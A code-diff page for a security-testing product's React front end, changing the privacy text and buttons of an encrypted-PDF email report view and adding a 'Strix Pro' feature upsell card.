<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
|
||||
<p className="text-xs leading-relaxed text-[#aaa]">
|
||||
We email an <span className="text-white">encrypted PDF</span>. Nothing else leaves your machine.
|
||||
Viewing stays local and nothing is uploaded. Emailing is an explicit
|
||||
opt-in: we send an <span className="text-white">encrypted PDF</span>.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-start gap-2.5">
|
||||
<Lock className="mt-0.5 h-4 w-4 flex-shrink-0 text-[#888]" aria-hidden="true" />
|
||||
<p className="text-xs leading-relaxed text-[#aaa]">
|
||||
Only you hold the password; Strix can't read it.
|
||||
The report is encrypted with a password that only you hold. Strix
|
||||
cannot read it and never stores it. We collect only your email so we
|
||||
can send it.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -239,7 +242,7 @@ export default function EmailReportView({
|
||||
onClick={startFlow}
|
||||
className="w-full cursor-pointer rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90"
|
||||
>
|
||||
Export report
|
||||
{verified ? "Email me the encrypted PDF" : "Continue with your email"}
|
||||
</button>
|
||||
{verified && auth?.email && (
|
||||
<p className="text-center text-xs text-[#666]">Sending to {auth.email}</p>
|
||||
@@ -266,6 +269,7 @@ export default function EmailReportView({
|
||||
className="w-full rounded-lg bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-[#444]"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
/>
|
||||
<span className="mt-1.5 block text-[11px] text-[#666]">Use your work email.</span>
|
||||
</label>
|
||||
<button
|
||||
type="submit"
|
||||
@@ -0,0 +1,96 @@
|
||||
import {
|
||||
CalendarClock,
|
||||
WandSparkles,
|
||||
Puzzle,
|
||||
Users,
|
||||
ArrowUpRight,
|
||||
} from "lucide-react";
|
||||
import { SIGNUP_URL, PRICING_URL, ctaUrl, trackCta } from "@/lib/cta";
|
||||
import type { ProFeature } from "@/lib/pro-features";
|
||||
import { ProTag } from "@/components/ProCta";
|
||||
|
||||
/**
|
||||
* In-app upsell page for a single platform feature. Modeled on the cloud app's
|
||||
* Networks upsell: a centered bordered card with an icon medallion, tier pill,
|
||||
* headline, one-line description, a shared "Included in Strix Pro" bullet list,
|
||||
* then a primary sign-up CTA and a secondary link to all plans.
|
||||
*/
|
||||
|
||||
const INCLUDED = [
|
||||
{
|
||||
icon: CalendarClock,
|
||||
text: "Continuous coverage: scheduled pentests and attack surface monitoring",
|
||||
},
|
||||
{ icon: WandSparkles, text: "One-click autofix that opens a retested pull request" },
|
||||
{ icon: Puzzle, text: "Two-way sync to Jira, Linear, and Slack" },
|
||||
{ icon: Users, text: "Your whole team, with roles and shared history" },
|
||||
];
|
||||
|
||||
export default function FeatureDetail({ feature }: { feature: ProFeature }) {
|
||||
const Icon = feature.icon;
|
||||
return (
|
||||
<div className="mx-auto w-full max-w-lg">
|
||||
<div className="rounded-2xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center">
|
||||
<div
|
||||
className="mx-auto flex h-12 w-12 items-center justify-center rounded-xl"
|
||||
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
|
||||
>
|
||||
<Icon className="h-5 w-5 text-[#888]" aria-hidden="true" />
|
||||
</div>
|
||||
|
||||
<div className="mt-4 flex justify-center">
|
||||
<ProTag label={feature.tier} />
|
||||
</div>
|
||||
|
||||
<h2 className="mt-3 text-2xl font-semibold text-white">{feature.headline}</h2>
|
||||
<p className="mx-auto mt-2 max-w-md text-sm text-[#888]">{feature.description}</p>
|
||||
|
||||
<div
|
||||
className="mt-6 rounded-xl p-4 text-left"
|
||||
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
|
||||
>
|
||||
<p className="mb-3 text-xs font-semibold uppercase tracking-wide text-[#666]">
|
||||
Included in Strix Pro
|
||||
</p>
|
||||
<ul className="space-y-2.5">
|
||||
{INCLUDED.map((item) => {
|
||||
const BulletIcon = item.icon;
|
||||
return (
|
||||
<li key={item.text} className="flex items-start gap-2.5">
|
||||
<BulletIcon
|
||||
className="mt-0.5 h-4 w-4 flex-shrink-0 text-[#888]"
|
||||
aria-hidden="true"
|
||||
/>
|
||||
<span className="text-sm text-[#aaa]">{item.text}</span>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="mt-6 flex flex-col items-center gap-3">
|
||||
<a
|
||||
href={ctaUrl(SIGNUP_URL, feature.slug)}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta(feature.slug, "feature_page")}
|
||||
className="inline-flex w-full items-center justify-center gap-1.5 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90"
|
||||
>
|
||||
Start free
|
||||
<ArrowUpRight className="h-3.5 w-3.5" aria-hidden="true" />
|
||||
</a>
|
||||
<a
|
||||
href={ctaUrl(PRICING_URL, feature.slug)}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta(feature.slug, "feature_page_plans")}
|
||||
className="inline-flex items-center gap-1 text-xs text-[#888] transition-colors hover:text-white"
|
||||
>
|
||||
View all plans
|
||||
<ArrowUpRight className="h-3 w-3" aria-hidden="true" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user